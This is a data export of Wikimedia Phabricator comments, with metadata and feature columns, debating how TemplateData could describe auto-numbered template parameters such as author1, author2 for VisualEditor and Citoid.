+2265038,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,We are currently only passively maintaining template wizard. See https://meta.wikimedia.org/wiki/Community_Tech/Maintenance for more.,,,1706108119,,PHID-USER-hc3d7yz5cqmafn4osucd,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,551,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0
+2261527,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"I’ll add #community-tech team to the task as maintainers of TemplateWizard, maybe they have ideas :)",,,1705603244,,PHID-USER-tuy2dac6pfhknbtqmqgh,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,True,,,550,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+2023299,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"> If you don’t display `author-link3` until I filled `author-link2`, I can’t […]
+
+That's a great example, thanks! Sounds like an argument for the {key +} button.
+
+> templates where a trailing “1” doesn’t denote a sequence, but a year, a code (e.g. ISO 639-1) […]
+
+True, these might behave odd. We can't avoid this entirely but limit the effect by using a clever regex like `/\p{L}[\p{P}\p{Z}]*1$/u`. This will not pick up the examples you listed.
+
+> MediaWiki message-style `editor$1-last` […]
+
+Either that or `{{{1}}}` to reuse a pattern users are familiar with. However, this can't replace the current parameter name for the same backwards-compatibility reason as above but must be part of the new syntax:
+```lang=JSON
+""author1"": { ""sequence"": { ""name"": ""author$1"", ""from"": ""1"", ""to"": ""5"" } }
+```
+
+There is also another very common special case that goes like `author`, `author2`, `author3`, and so on without the `1`. Luckily this is easy to solve with the proposed syntax:
+```lang=JSON
+""author"": {},
+""author2"": { ""sequence"": { ""name"": ""author$1"", ""from"": ""2"", ""to"": ""5"" } }
+```",,,1669128401,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,490,,0,0,1,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,1,0,0,1,0,0,1,1,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+2023105,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,">>! In T54582#8408107, @Tacsipacsi wrote:
+> I think there are still a lot of templates that don’t use Lua and thus support exactly as many parameters as documented. They probably don’t show error messages if unknown parameters are used, either, since that would also require Lua. This means that the extra parameters would simply not appear – which doesn’t cause visual breakage, but it’s also hard for the editors to notice. What does Citoid do now if there are more authors/whatever data than what the template – according to TemplateData – supports?
+
+Right now it silently just doesn't add the authors. If there's template data for 20, it'll add 20 and then stop. Unless it's a collapsed param, and then it concatenates them all together. So right now the results are actually better using a collapsed param because you get all the authors. 
+
+A lot of the non Lua templates are configured to use collapsed params, i.e. they have just one author field. In that case, all the authors are concatenated and make it into the template. I.e. this is the de wiki case. It'd only be non-lua templates that are also configured with citoid to use separate fields. 
+
+There's a related wishlist item for this: https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2022/Citations#Preventing_VE_from_silently_omitting_co-authors
+
+There's a suggestion to using display-authors but coming up with a system to do that is even less fleshed out in terms of how we'd decide that. I'd rather just actually add the author. 
+
+There's also the option of producing two citations, one with and one without for the user to choose.
+
+Funny edgecases for my proposed hack - a param that looks like isbn2, might accidentally produce isbn3 and isbn4 depending on how the data is configured. 
+
+",,,1669116447,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,490,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1
+2054057,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"To allow linking author3 without having to link the previous ones, the field author-link3 could appear when you FOCUS in author-link2, and author-link2 when you focus in author-link1, etc
+
+This would also make it more obvious to users how to access collapsed parameters.",,,1674485033,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,499,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1
+2022907,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"Tho allow linking author3 without having to link the previous ones, the field author-link3 could appear when you FOCUS in author-link2, and author-link2 when you focus in author-link1, etc
+
+This would also make it more obvious to users how to access collapsed parameters.",,,1669084905,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,490,,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1
+2022903,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"Regarding the problem with point 1, the field author-link3 may appear when you FOCUS in author-link2, and author-link2 when you focus in author-link1, etc
+
+This would allow to link author3 without having to link the previous ones, and would also make it more obvious to users how to access collapsed parameters.",,,1669083437,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,490,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1
+2022758,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,">>! In T54582#8409117, @thiemowmde wrote:
+> 1. Collapse numbered parameters in VisualEditor. For example, when you start with an empty template you see only `author1`. The moment `author1` does have a value `author2` appears. And so on. But stop when the next number is not documented.
+>  * We can do this in VisualEditor without touching TemplateData.
+>  * The only thing users need to do is to make sure all possible numbers are documented.
+>  * This doesn't solve the situation where the number is unlimited, but allows for a workaround. Users just need to document //a lot// of numbers, e.g. `author1` to `author25`.
+This may not work in all cases. For example, [[https://en.wikipedia.org/wiki/Template:Cite_web|en:Template:Cite web]] have several parameters for providing authors, but to keep the example simple, let’s concentrate on the three that are included in the vertical copy sample: `firstN`, `lastN` and `author-linkN`. If only the first and third author have articles, I’d like to include the following:
+```
+{{cite web |first1=John |last1=Doe |author-link1=John Doe |first2=Jane |last2=Doe |first3=Jimmy |last3=Wales |author-link3=Jimmy Wales |… }}
+```
+If you don’t display `author-link3` until I filled `author-link2`, I can’t link to Jimbo’s article without adding a red link to Jane Doe’s article, which should not be done according to the documentation.
+
+> 2. Ask users to document an unlimited number of parameters by only documenting the first one, e.g. `author1`, but nothing else. We can use this special case to distinguish the two unlimited vs. limited scenarios.
+I have no actual example at hand, but I’m pretty sure there are templates where a trailing “1” doesn’t denote a sequence, but a year, a code (e.g. ISO 639-1), and so on.
+
+> 3. Come up with some magic syntax for numbered parameters, e.g. `""author[1-9]""` means only 9 parameters exist and `""author[1-]""` means it's unlimited.
+>  * This allows to use other number systems, e.g. Hebrew `author[א-ט‎]`.
+>  * Biggest problem with an approach like this is that it's entirely incompatible with existing software that doesn't understand the feature.
+Also, we’d need to be very careful what the syntax is, since `{{{author[1-9]}}` is for example a legal parameter name. Even `{{{a{{!}}b}}}` is legal, so pipes are neither something we can freely play with…
+
+> 4. Add a flag that does the same, e.g. `""author1"": { ""sequence"": { ""name"": ""author"", ""from"": ""1"", ""to"": ""5"" } }`. Use `""from"": ""1"", ""to"": ""1000""` to make it effectively ""unlimited"".
+>  * This can be made backwards-compatible. Users can still document `author1` to `author5` if they want. They just need to copy the sequence name to all of them, e.g. `""author2"": { ""sequence"": { ""name"": ""author"" } }`. Parameters with the same sequence are considered one by software that understands the feature.
+I like this the best. However, the counter doesn’t need to be at the end (see `editor2-last` in {{Cite web}}), so we need a syntax to indicate where the number goes. For example, it could be a printf-style `editor%d-last` (with the usual `%%` escape if the parameter name literally contains `%d`), or the MediaWiki message-style `editor$1-last` (what’s the escape here?). Also, it needs to accept not only ASCII digits, but anything that’s sequential (non-ASCII numbers, maybe even letters).
+
+> 5. Somehow make use of the unused `set` feature.
+According to the [[https://www.mediawiki.org/wiki/Extension:TemplateData|documentation]], a set is “a group of parameters that should be used together” – this doesn’t fit this use case, since `author1` can be used without `author42`.",,,1669065650,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,490,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1
+2022247,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"#wmde-techwish here. Our #wmde-templates-focusarea last year focused on #TemplateData and the #VisualEditor template dialog. I'm aware of two situations we need to consider here:
+1. Non-Lua templates support exactly as many parameters as documented, as @Tacsipacsi explained above. For example, there is `author1` to `author9`, but there it ends. This causes a few problems:
+ * It's a little tedious to document this.
+ * Both #VisualEditor and #TemplateWizard get messy very fast the more such parameters exist. Note that having more than one is the norm, not the exception. Here is a [simple example](https://en.wikipedia.org/wiki/Template:Singles).
+ * The person writing the documentation might decide to stop earlier and document only e.g. `author1` to `author5` exactly to avoid the problem above. `author6` ff. will still work, but can only be entered in wikitext or with the ""add undocumented parameter"" feature. Unfortunately this creates the next problem: `author6` will be listed at the very end, not after `author5`.
+2. Lua-based templates can support an effectively unlimited number of such parameters. The currently only way to document this is to document a limited number, e.g. `author1` to `author5`. This creates almost the same problems:
+ * The documentation must stop at an arbitrary number. Typically this will not be `author1` but e.g. `author5` or `author9`.
+ * This is tedious, as above.
+ * VisualEditor and such always show all of the documented parameters.
+3. Because of all the problems above and thanks to the power of Lua users create more and more templates that accept multiple comma-separated values in a single parameter.
+ * This creates effectively a custom parameter type with a custom syntax (namely being comma-separated).
+ * TemplateData has no way to document this either. I mean, other than describing it to the user. But not in a machine-readable way.
+
+A relevant consequence of all this is that we don't have a way to distinguish the first two situations when both are documented as `author1` to `author5`.
+
+What we can do, in my opinion:
+1. Collapse numbered parameters in VisualEditor. For example, when you start with an empty template you see only `author1`. The moment `author1` does have a value `author2` appears. And so on. But stop when the next number is not documented.
+ * We can do this in VisualEditor without touching TemplateData.
+ * The only thing users need to do is to make sure all possible numbers are documented.
+ * This doesn't solve the situation where the number is unlimited, but allows for a workaround. Users just need to document //a lot// of numbers, e.g. `author1` to `author25`.
+2. Ask users to document an unlimited number of parameters by only documenting the first one, e.g. `author1`, but nothing else. We can use this special case to distinguish the two unlimited vs. limited scenarios.
+3. Come up with some magic syntax for numbered parameters, e.g. `""author[1-9]""` means only 9 parameters exist and `""author[1-]""` means it's unlimited.
+ * This allows to use other number systems, e.g. Hebrew `author[א-ט‎]`.
+ * Biggest problem with an approach like this is that it's entirely incompatible with existing software that doesn't understand the feature.
+4. Add a flag that does the same, e.g. `""author1"": { ""sequence"": { ""name"": ""author"", ""from"": ""1"", ""to"": ""5"" } }`. Use `""from"": ""1"", ""to"": ""1000""` to make it effectively ""unlimited"".
+ * This can be made backwards-compatible. Users can still document `author1` to `author5` if they want. They just need to copy the sequence name to all of them, e.g. `""author2"": { ""sequence"": { ""name"": ""author"" } }`. Parameters with the same sequence are considered one by software that understands the feature.
+5. Somehow make use of the unused `set` feature.
+6. Just give the user a {key +} button at the end of numbered parameters, no matter how it's documented in TemplateData. It acts very similar to the ""add undocumented parameter"" feature but makes sure the order is consistent.
+6. …?
+
+I would like to avoid presenting an extra empty parameter at the end of every sequence of numbered parameters when the documentation explicitly says it doesn't exist, or we just don't know.",,,1669035722,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,490,,1,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1
+2022246,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"#wmde-techwish here. Our #wmde-templates-focusarea last year focused on #TemplateData and the #VisualEditor template dialog. I'm aware of two situations we need to consider here:
+1. Non-Lua templates support exactly as many parameters as documented, as @Tacsipacsi explained above. For example, there is `author1` to `author9`, but there it ends. This causes a few problems:
+ * It's a little tedious to document this.
+ * Both #VisualEditor and #TemplateWizard get messy very fast the more such parameters exist. Note that having more than one is the norm, not the exception. Here is a [simple example](https://en.wikipedia.org/wiki/Template:Singles).
+ * The person writing the documentation might decide to stop earlier and document only e.g. `author1` to `author5` exactly to avoid the problem above. `author6` ff. will still work, but can only be entered in wikitext or with the ""add undocumented parameter"" feature. Unfortunately this creates the next problem: `author6` will be listed at the very end, not after `author5`.
+2. Lua-based templates can support an effectively unlimited number of such parameters. The currently only way to document this is to document a limited number, e.g. `author1` to `author5`. This creates almost the same problems:
+ * The documentation must stop at an arbitrary number. Typically this will not be `author1` but e.g. `author5` or `author9`.
+ * This is tedious, as above.
+ * VisualEditor and such always show all of the documented parameters.
+3. Because of all the problems above and thanks to the power of Lua users create more and more templates that accept multiple comma-separated values in a single parameter.
+ * This creates effectively a custom parameter type with a custom syntax (namely being comma-separated).
+ * TemplateData has no way to document this either. I mean, other than describing it to the user. But not in a machine-readable way.
+
+A relevant consequence of all this is that we don't have a way to distinguish the first two situations when both are documented as `author1` to `author5`.
+
+What we can do, in my opinion:
+1. Collapse numbered parameters in VisualEditor. For example, when you start with an empty template you see only `author1`. The moment `author1` does have a value `author2` appears. And so on. But stop when the next number is not documented.
+ * We can do this in VisualEditor without touching TemplateData.
+ * The only thing users need to do is to make sure all possible numbers are documented.
+ * This doesn't solve the situation where the number is unlimited, but allows for a workaround. Users just need to document //a lot// of numbers, e.g. `author1` to `author25`.
+2. Ask users to document an unlimited number of parameters by only documenting the first one, e.g. `author1`, but nothing else. We can use this special case to distinguish the two unlimited vs. limited scenarios.
+3. Come up with some magic syntax for numbered parameters, e.g. `""author[1-9]""` means only 9 parameters exist and `""author[1-]""` means it's unlimited.
+ * This allows to use other number systems, e.g. Hebrew `author[א-ט‎]`.
+ * Biggest problem with an approach like this is that it's entirely incompatible with existing software that doesn't understand the feature.
+4. Add a flag that does the same, e.g. `""author1"": { ""sequence"": { ""name"": ""author"", ""from"": ""1"", ""to"": ""5"" } }` Use `""from"": ""1"", ""to"": ""1000""` to make it effectively ""unlimited"".
+ * This can be made backwards-compatible. Users can still document `author1` to `author5` if they want. They just need to copy the sequence name to all of them, e.g. `""author2"": { ""sequence"": { ""name"": ""author"" } }`. Parameters with the same sequence are considered one by software that understands the feature.
+5. Somehow make use of the unused `set` feature.
+6. Just give the user a {key +} button at the end of numbered parameters, no matter how it's documented in TemplateData. It acts very similar to the ""add undocumented parameter"" feature but makes sure the order is consistent.
+6. …?
+
+I would like to avoid presenting an extra empty parameter at the end of every sequence of numbered parameters when the documentation explicitly says it doesn't exist, or we just don't know.",,,1669035672,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,490,,1,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1
+2022234,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"#wmde-techwish here. Our #wmde-templates-focusarea last year focused on #TemplateData and the #VisualEditor template dialog. I'm aware of two situations we need to consider here:
+1. Non-Lua templates support exactly as many parameters as documented, as @Tacsipacsi explained above. For example, there is `author1` to `author9`, but there it ends. This causes a few problems:
+ * It's a little tedious to document this.
+ * Both #VisualEditor and #TemplateWizard get messy very fast the more such parameters exist. Note that having more than one is the norm, not the exception. Here is a [simple example](https://en.wikipedia.org/wiki/Template:Singles).
+ * The person writing the documentation might decide to stop earlier and document only e.g. `author1` to `author5` exactly to avoid the problem above. `author6` ff. will still work, but can only be entered in wikitext or with the ""add undocumented parameter"" feature. Unfortunately this creates the next problem: `author6` will be listed at the very end, not after `author5`.
+2. Lua-based templates can support an effectively unlimited number of such parameters. The currently only way to document this is to document a limited number, e.g. `author1` to `author5`. This creates almost the same problems:
+ * The documentation must stop at an arbitrary number. Typically this will not be `author1` but e.g. `author5` or `author9`.
+ * This is tedious, as above.
+ * VisualEditor and such always show all of the documented parameters.
+3. Because of all the problems above and thanks to the power of Lua users create more and more templates that accept multiple comma-separated values in a single parameter.
+ * This creates effectively a custom parameter type with a custom syntax (namely being comma-separated).
+ * TemplateData has no way to document this either. I mean, other than describing it to the user. But not in a machine-readable way.
+
+A relevant consequence of all this is that we don't have a way to distinguish the first two situations when both are documented as `author1` to `author5`.
+
+What we can do, in my opinion:
+1. Collapse numbered parameters in VisualEditor. For example, when you start with an empty template you see only `author1`. The moment `author1` does have a value `author2` appears. And so on. But stop when the next number is not documented.
+ * We can do this in VisualEditor without touching TemplateData.
+ * The only thing users need to do is to make sure all possible numbers are documented.
+ * This doesn't solve the situation where the number is unlimited, but allows for a workaround. Users just need to document //a lot// of numbers, e.g. `author1` to `author25`.
+2. Ask users to document an unlimited number of parameters by only documenting the first one, e.g. `author1`, but nothing else. We can use this special case to distinguish the two unlimited vs. limited scenarios.
+3. Come up with some magic syntax for numbered parameters, e.g. `""author[1-9]"": {}` means only 9 parameters exist and `""author[1-]"": {}` means it's unlimited.
+ * This allows to use other number systems, e.g. Hebrew `author[א-ט‎]`.
+ * Biggest problem with an approach like this is that it's entirely incompatible with existing software that doesn't understand the feature.
+4. Add a flag that does the same, e.g. `""author1"": { ""sequence"": { ""name"": ""author"", ""from"": ""1"", ""to"": ""5"" } }` or `""from"": ""1"", ""to"": ""1000""` to make it effectively ""unlimited"".
+ * This can be made backwards-compatible. Users can still document `author1` to `author5` if they want. They just need to copy the sequence name to all of them, e.g. `""author2"": { ""sequence"": { ""name"": ""author"" } }`. Parameters with the same sequence are considered one by software that understands the feature.
+5. Somehow make use of the unused `set` feature.
+6. Just give the user a {key +} button at the end of numbered parameters, no matter how it's documented in TemplateData. It acts very similar to the ""add undocumented parameter"" feature but makes sure the order is consistent.
+6. …?
+
+I would like to avoid presenting an extra empty parameter at the end of every sequence of numbered parameters when the documentation explicitly says it doesn't exist, or we just don't know.",,,1669035410,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,490,,1,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1
+2021983,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"I think there are still a lot of templates that don’t use Lua and thus support exactly as many parameters as documented. They probably don’t show error messages if unknown parameters are used, either, since that would also require Lua. This means that the extra parameters would simply not appear – which doesn’t cause visual breakage, but it’s also hard for the editors to notice. What does Citoid do now if there are more authors/whatever data than what the template – according to TemplateData – supports?",,,1668975175,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,489,,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+2021973,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"Change 858708 had a related patch set uploaded (by Mvolz; author: Mvolz):
+%%%[mediawiki/extensions/Citoid@master] [WIP] Extrapolate from limited templatedata%%%
+https://gerrit.wikimedia.org/r/858708",,,1668963559,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,489,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+2021972,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"In lieu of a better plan, I think I'm just going to have the Citoid extension ""guess"" additional parameters from the last one rather naively by incrementing whatever integer is at the end. I.e. if it's last7, the next param will be last8
+
+If the last param doesn't have an integer, we won't do this. So if it's just ""last"" or ""isbn"" no additional parameters will be added. 
+
+Does anyone object to this? It's a bit hacky, but it's the simplest to implement. 
+
+The potential flaw of this would be if there is a parameter out there that ends in a number that we don't want incremented. I don't know if there's an example out there, but if there were, we could potentially add parameters that don't actually exist and you could see errors in the citation (which the user could then, as always, fix.)
+
+I expect this doesn't come up much, but a potential fix to that is to extend TemplateData to add a box to suppress auto params, if we needed it. 
+
+",,,1668963340,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,489,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,0,0,1,0,0,1,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0
+1793934,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"@Iniquity, the way I'd ideally like to see this work is to just have a box people could check when editing a parameter's documentation in TemplateData indicating that it's an auto-numbered parameter (and specifying the limit, if applicable). The TemplateData would then display it intuitively in the documentation and allow people to use it when adding the template to a page.",,,1633200407,,PHID-USER-tl3o6dlackm57f3qrt4b,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,430,,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+1329261,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,Has anyone got any new ideas? :),,,1564943687,,PHID-USER-tuy2dac6pfhknbtqmqgh,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,True,,,317,,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+963914,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"For draft template I'm working on for the Wikitionary, I came with things like `|définition.1.4.exemple.2.description =`. That is description of 2nd example of the 4th subdefinition of the first main definition. That might be a somewhat extreme example, but that would be nice to take it into account while treating this ticket.",,,1510643874,,PHID-USER-6xgsmxxl62mgxypce6oa,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,228,,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+955156,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"For draft template I'm working on for the Wikitionary, I came things like `|définition.1.4.exemple.2.description =`. That is description of 2nd example of the 4th subdefinition of the first main definition. That might be a somewaht extrem example, but that would be nice to take it into account while treating this ticket.",,,1509227971,,PHID-USER-6xgsmxxl62mgxypce6oa,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,225,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+950889,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"I am also thinking of templates with an unlimited number of unnamed parameters, which are not handled well in VE currently.",,,1508444614,,PHID-USER-zrh22rct2jo5hs6nu67r,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,224,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+866310,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"Regarding the UX and UI of this feature, one possibility is that when a user adds content to the Author1 field, the Author2 field becomes visible, and when s/he adds content to Author2, Author3 becomes visible, and so on.",,,1496014248,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,203,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+844531,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"Regarding the visual implementation of this feature, one possibility is that when a user adds content to the Author1 field, the Author2 field becomes visible, and when s/he adds content to Author2, Author3 becomes visible, and so on.",,,1492548241,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,198,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
